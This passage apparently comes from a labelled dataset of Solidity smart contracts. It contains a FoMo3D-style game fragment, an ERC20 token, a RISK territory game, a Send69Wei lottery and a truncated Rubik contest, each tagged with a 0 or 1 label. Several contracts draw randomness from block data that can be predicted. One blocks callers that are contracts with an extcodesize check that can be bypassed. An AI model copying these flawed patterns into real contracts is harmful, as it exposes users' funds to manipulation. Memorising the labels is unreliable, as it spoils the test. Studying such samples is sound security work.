1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 0; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
1,790
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; require(_to != address(0)); require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract DMC is StandardToken { string public constant name = "Digital Marketing Coin"; string public constant symbol = "DMC"; uint8 public constant decimals = 18; function DMC() public { totalSupply = 9900000000000000000000000000; balances[msg.sender] = totalSupply; } }
1
2,490
pragma solidity ^0.4.25; contract RISK{ uint16[19][3232] private adjacencies; address private admin = msg.sender; uint256 private seed = block.timestamp; uint256 public roundID; mapping(uint256=>RoundData) public Rounds; bool public isactive; mapping(address=>uint256) private playerlastroundwithdrawn; uint16 public beginterritories = 5; uint16 public maxroll= 6; uint256 public trucetime=72 hours; uint256 public price=30 finney; uint256 public maxextensiontruce=50; mapping(bytes32=>address) public ownerXname; mapping(address=>bytes32) public nameXaddress; mapping(bytes32=>uint256) public priceXname; function createnation(uint16[] territories,string _name, uint256 RGB) public payable { RequireHuman(); require(isactive); uint256 _rID = roundID; uint16 _teamcnt =Rounds[_rID].teamcnt; require(_teamcnt<255); RGB=colorfilter(RGB); require(!Rounds[_rID].iscolorregistered[RGB]); bytes32 name=nameFilter(_name); require(ownerXname[name]==msg.sender); require(Rounds[_rID].isnameregistered[name]==false); uint16 _beginterritories = Rounds[roundID].beginterritories; require(msg.value==Rounds[_rID].price); require(territories.length==_beginterritories); require(Rounds[_rID].teamXaddr[msg.sender]==0); uint i; for (i =0 ; i<territories.length;i++){ require(territories[i]<uint16(2750)); require(getownership(territories[i])==uint16(0)); } _teamcnt+=1; setownership(territories[0],_teamcnt); for (i =1 ; i<territories.length;i++){ require(hasteamadjacency(territories[i],_teamcnt)); setownership(territories[i],_teamcnt); } Rounds[_rID].validrollsXaddr[msg.sender]+=_beginterritories; Rounds[_rID].validrollsXteam[_teamcnt]+=_beginterritories; Rounds[_rID].teamXaddr[msg.sender]=_teamcnt; Rounds[_rID].nationnameXteam[_teamcnt]=name; Rounds[_rID].colorXteam[_teamcnt]=RGB; Rounds[_rID].iscolorregistered[RGB]=true; Rounds[_rID].teamcnt=_teamcnt; Rounds[_rID].isnameregistered[name]=true; Rounds[_rID].pot+=msg.value; emit oncreatenation( nameXaddress[msg.sender], name, RGB, _teamcnt, territories, msg.sender); } function roll(uint16[] territories,uint16 team) payable public { RequireHuman(); require(isactive); require(team!=0); uint256 _rID = roundID; uint256 _now = block.timestamp; uint256 _roundstart = Rounds[_rID].roundstart; uint256 _trucetime = Rounds[_rID].trucetime; if (Rounds[_rID].teamXaddr[msg.sender]==0){ Rounds[_rID].teamXaddr[msg.sender]=team; } else{ require(Rounds[_rID].teamXaddr[msg.sender]==team); } require(msg.value==Rounds[_rID].price ); uint16 _maxroll = Rounds[_rID].maxroll; seed = uint256(keccak256(abi.encodePacked((seed^block.timestamp)))); uint256 rolled = (seed % _maxroll)+1; uint256 validrolls=0; uint16[] memory territoriesconquered = new uint16[](_maxroll); if (_roundstart+_trucetime<_now){ for (uint i = 0 ; i<territories.length;i++){ if (getownership(territories[i])==team){ continue; } if (hasteamadjacency(territories[i],team)){ territoriesconquered[validrolls]=territories[i]; setownership(territories[i],team); validrolls+=1; if (validrolls==rolled){ break; } } } } else{ require(Rounds[_rID].validrollsXteam[team]<Rounds[_rID].maxextensiontruce); for (i = 0 ; i<territories.length;i++){ if (getownership(territories[i])!=0){ continue; } if (hasteamadjacency(territories[i],team)){ territoriesconquered[validrolls]=territories[i]; setownership(territories[i],team); validrolls+=1; if (validrolls==rolled){ break; } } } } Rounds[_rID].validrollsXaddr[msg.sender]+=validrolls; Rounds[_rID].validrollsXteam[team]+=validrolls; uint256 refund; if (validrolls<rolled){ refund = ((rolled-validrolls)*msg.value)/rolled; } Rounds[_rID].pot+=msg.value-refund; if (refund>0){ msg.sender.transfer(refund); } emit onroll( nameXaddress[msg.sender], Rounds[_rID].nationnameXteam[team], rolled, team, territoriesconquered, msg.sender ); } function endround() public { RequireHuman(); require(isactive); uint256 _rID = roundID; require(Rounds[_rID].teamcnt>0); uint256 _pot = Rounds[_rID].pot; uint256 fee =_pot/20; uint256 nextpot = _pot/20; uint256 finalpot = _pot-fee-nextpot; uint256 _roundstart=Rounds[_rID].roundstart; uint256 _now=block.timestamp; require(_roundstart+Rounds[_rID].trucetime<_now); uint256[] memory _owners_ = new uint256[](86); for (uint16 i = 0;i<86;i++){ _owners_[i]=Rounds[_rID].owners[i]; } uint16 t; uint16 team; uint16 j; for ( i = 1; i<uint16(2750);i++){ t=getownership2(i,_owners_[i/32]); if (t!=uint16(0)){ team=t; j=i+1; break; } } for ( i = j; i<uint16(2750);i++){ t=getownership2(i,_owners_[i/32]); if(t>0){ if(t!=team){ require(false); } } } Rounds[_rID].teampotshare[team]=finalpot; Rounds[_rID].winner=Rounds[_rID].nationnameXteam[team]; admin.transfer(fee); _rID+=1; Rounds[_rID].trucetime =trucetime; Rounds[_rID].roundstart =block.timestamp; Rounds[_rID].beginterritories =beginterritories; Rounds[_rID].maxroll = maxroll; Rounds[_rID].pot = nextpot; Rounds[_rID].price = price; Rounds[_rID].maxextensiontruce = maxextensiontruce; roundID=_rID; emit onendround(); } function withdraw() public { RequireHuman(); uint256 balance; uint256 _roundID=roundID; balance=getbalance(_roundID); playerlastroundwithdrawn[msg.sender]=_roundID-1; if (balance>0){ msg.sender.transfer(balance); } } function buyname( string _name) public payable { RequireHuman(); bytes32 name=nameFilter(_name); address prevowner=ownerXname[name]; require(prevowner!=msg.sender); uint256 buyprice = 3*priceXname[name]/2; if (3 finney > buyprice){ buyprice = 3 finney; } require(msg.value>=buyprice); uint256 fee; uint256 topot; uint256 reimbursement; if (prevowner==address(0)){ Rounds[roundID].pot+=msg.value ; } else{ fee = buyprice/20; topot = msg.value-buyprice; reimbursement=buyprice-fee; if (topot>0){ Rounds[roundID].pot+=topot; } } nameXaddress[prevowner]=''; ownerXname[name]=msg.sender; priceXname[name]=msg.value; bytes32 prevname = nameXaddress[msg.sender]; nameXaddress[msg.sender]=name; emit onbuyname( name, msg.value, prevname, msg.sender ); if (fee>0){ admin.transfer(fee); } if (reimbursement>0){ prevowner.transfer(reimbursement); } } function switchname(bytes32 name) public { require(ownerXname[name]==msg.sender); nameXaddress[msg.sender]=name; } function clearname() public { bytes32 empty; nameXaddress[msg.sender]=empty; } function getownership(uint16 terr) private view returns(uint16) { return(uint16((Rounds[roundID].owners[terr/32]&(255*2**(8*(uint256(terr%32)))))/(2**(uint256(terr)%32*8)))); } function getownership2(uint16 terr,uint256 ownuint) private pure returns(uint16) { return(uint16((ownuint&255*2**(8*(uint256(terr)%32)))/(2**(uint256(terr)%32*8)))); } function setownership(uint16 terr, uint16 team) private { Rounds[roundID].owners[terr/32]=(Rounds[roundID].owners[terr/32]&(115792089237316195423570985008687907853269984665640564039457584007913129639935-(255*(2**(8*(uint256(terr)%32))))))|(uint256(team)*2**((uint256(terr)%32)*8)); } function areadjacent(uint16 terr1, uint16 terr2) private view returns(bool) { for (uint i=0;i<19;i++){ if (adjacencies[terr1][i]==terr2){ return true; } if (adjacencies[terr1][i]==0){ return false; } } return false; } function hasteamadjacency(uint16 terr,uint16 team) private view returns(bool) { for (uint i = 0; i<adjacencies[terr].length;i++){ if (getownership(adjacencies[terr][i])==team){ return true; } } return false; } function RequireHuman() private view { uint256 size; address addr = msg.sender; assembly {size := extcodesize(addr)} require(size == 0 ); } function colorfilter(uint256 RGB) public pure returns(uint256) { RGB=RGB&14737632; require(RGB!=12632256); require(RGB!=14704640); require(RGB!=14729344); require(RGB!=8421504); require(RGB!=224); require(RGB!=8404992); return(RGB); } function getbalance(uint rID) public view returns(uint256) { uint16 team; uint256 balance; for (uint i = playerlastroundwithdrawn[msg.sender]+1;i<rID;i++){ if (Rounds[i].validrollsXaddr[msg.sender]==0){ continue; } team=Rounds[i].teamXaddr[msg.sender]; balance += (Rounds[i].teampotshare[team]*Rounds[i].validrollsXaddr[msg.sender])/Rounds[i].validrollsXteam[team]; } return balance; } function nameFilter(string _input) public pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 64 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); for (uint256 i = 0; i < _length; i++) { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) ); if (_temp[i] == 0x20){ require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); } } bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } function readowners() view public returns(uint256[101]) { return(Rounds[roundID].owners); } function readownerXname(string name) view public returns(address) { return(ownerXname[nameFilter(name)]); } function readisnameregistered(string name) view public returns(bool) { return(Rounds[roundID].isnameregistered[nameFilter(name)]); } function readnameXaddress(address addr) view public returns(bytes32) { return(nameXaddress[addr]); } function readpriceXname(string name) view public returns(uint256) { return(priceXname[nameFilter(name)]*3/2); } function readteamXaddr(address adr) view public returns(uint16){ return(Rounds[roundID].teamXaddr[adr]); } function readvalidrollsXteam(uint16 tim) view public returns(uint256){ return(Rounds[roundID].validrollsXteam[tim]); } function readvalidrollsXaddr(address adr) view public returns(uint256){ return(Rounds[roundID].validrollsXaddr[adr]); } function readnationnameXteam() view public returns(bytes32[256]){ bytes32[256] memory temp; for (uint16 i = 0; i<256; i++){ temp[i]=Rounds[roundID].nationnameXteam[i]; } return(temp); } function readcolorXteam() view public returns(uint256[256]){ uint256[256] memory temp; for (uint16 i = 0; i<256; i++){ temp[i]=Rounds[roundID].colorXteam[i]; } return(temp); } function readiscolorregistered(uint256 rgb) view public returns(bool){ return(Rounds[roundID].iscolorregistered[colorfilter(rgb)]); } function readhistoricalrounds() view public returns(bytes32[]){ bytes32[] memory asdfg=new bytes32[](2*roundID-2); for (uint256 i = 1;i<roundID;i++){ asdfg[2*i]=Rounds[roundID].winner; asdfg[2*i+1]=bytes32(Rounds[roundID].pot); } return asdfg; } function addadjacencies(uint16[] indexes,uint16[] numvals,uint16[] adjs) public { require(msg.sender==admin); require(!isactive); uint cnt=0; for (uint i = 0; i<indexes.length;i++){ for (uint j = 0;j<numvals[i];j++){ adjacencies[indexes[i]][j]=adjs[cnt]; cnt++; } } } function finishedloading() public { require(msg.sender==admin); require(!isactive); isactive=true; roundID=1; uint256 _rID=roundID; Rounds[_rID].roundstart =block.timestamp; Rounds[_rID].beginterritories =beginterritories; Rounds[_rID].maxroll = maxroll; Rounds[_rID].trucetime = trucetime; Rounds[_rID].price = price; Rounds[_rID].maxextensiontruce = maxextensiontruce; } function changesettings( uint16 _beginterritories, uint16 _maxroll,uint256 _trucetime,uint256 _price,uint256 _maxextensiontruce) public { require(msg.sender==admin); beginterritories = _beginterritories ; maxroll = _maxroll; trucetime = _trucetime; price = _price; maxextensiontruce = _maxextensiontruce; } struct RoundData{ uint256[101] owners; mapping(address=>uint16) teamXaddr; mapping(uint16=>uint256) validrollsXteam; mapping(address=>uint256) validrollsXaddr; mapping(uint16=>uint256) teampotshare; mapping(uint16=>bytes32) nationnameXteam; uint256 pot; mapping(uint16=>uint256) colorXteam; mapping(uint256=>bool) iscolorregistered; mapping(bytes32=>bool) isnameregistered; uint16 teamcnt; uint256 roundstart; uint16 beginterritories; uint16 maxroll; uint256 trucetime; uint256 price; uint256 maxextensiontruce; bytes32 winner; } event oncreatenation( bytes32 leadername, bytes32 nationname, uint256 color, uint16 team, uint16[] territories, address addr ); event onroll( bytes32 playername, bytes32 nationname, uint256 rolled, uint16 team, uint16[] territories, address addr ); event onbuyname( bytes32 newname, uint256 price, bytes32 prevname, address addr ); event onendround( ); }
0
2,006
pragma solidity ^0.4.21; contract Send69Wei{ uint256 constant HowMuchWei = 69; mapping(uint256=>address) targets; uint256 maxval=1; function Send69Wei() public { targets[0] = msg.sender; } function() payable public { if (msg.value>=HowMuchWei){ uint256 ret = msg.value-(HowMuchWei); msg.sender.transfer(ret); uint256 seed = uint256(block.blockhash(block.number - 1)); uint256 seed1 = uint256(block.timestamp); uint256 seed2 = uint256(block.coinbase); uint256 id = uint256(keccak256(seed+seed1+seed2)) % maxval; address who = targets[id]; who.transfer(HowMuchWei); targets[maxval] = msg.sender; maxval++; } else{ revert(); } } }
0
2,007
pragma solidity ^0.4.8; contract Rubik { event Submission(address submitter, uint8[] moves); event NewLeader(address submitter, uint8[] moves); enum Color {Red, Blue, Yellow, Green, White, Orange} Color[9][6] state; address public owner = msg.sender; address public currentWinner = msg.sender; uint currentWinnerMoveCount = 9000; uint contestEndTime = now + 2592000; uint8 constant FRONT = 0; uint8 constant LEFT = 1; uint8 constant UP = 2; uint8 constant RIGHT = 3; uint8 constant DOWN = 4; uint8 constant BACK = 5; function Rubik() public { state[FRONT][0] = Color.Green; state[FRONT][1] = Color.Green; state[FRONT][2] = Color.Red; state[FRONT][3] = Color.Yellow; state[FRONT][4] = Color.Red; state[FRONT][5] = Color.Green; state[FRONT][6] = Color.Red; state[FRONT][7] = Color.Yellow; state[FRONT][8] = Color.Blue; state[LEFT][0] = Color.White; state[LEFT][1] = Color.White; state[LEFT][2] = Color.Yellow; state[LEFT][3] = Color.Red; state[LEFT][4] = Color.Blue; state[LEFT][5] = Color.White; state[LEFT][6] = Color.Red; state[LEFT][7] = Color.Red; state[LEFT][8] = Color.Blue; state[UP][0] = Color.Green; state[UP][1] = Color.Blue; state[UP][2] = Color.Yellow; state[UP][3] = Color.White; state[UP][4] = Color.Yellow; state[UP][5] = Color.Orange; state[UP][6] = Color.White; state[UP][7] = Color.Blue; state[UP][8] = Color.Blue; state[RIGHT][0] = Color.Yellow; state[RIGHT][1] = Color.Red; state[RIGHT][2] = Color.Orange; state[RIGHT][3] = Color.Orange; state[RIGHT][4] = Color.Green; state[RIGHT][5] = Color.White; state[RIGHT][6] = Color.Blue; state[RIGHT][7] = Color.Orange; state[RIGHT][8] = Color.Orange; state[DOWN][0] = Color.White; state[DOWN][1] = Color.Red; state[DOWN][2] = Color.Orange; state[DOWN][3] = Color.Yellow; state[DOWN][4] = Color.White; state[DOWN][5] = Color.Yellow; state[DOWN][6] = Color.Yellow; state[DOWN][7] = Color.Blue; state[DOWN][8] = Color.Green; state[BACK][0] = Color.Green; state[BACK][1] = Color.Green; state[BACK][2] = Color.Red; state[BACK][3] = Color.Blue; state[BACK][4] = Color.Orange; state[BACK][5] = Color.Orange; state[BACK][6] = Color.White; state[BACK][7] = Color.Green; state[BACK][8] = Color.Orange; } function getOwner() view public returns (address) { return owner; } function getCurrentWinner() view public returns (address) 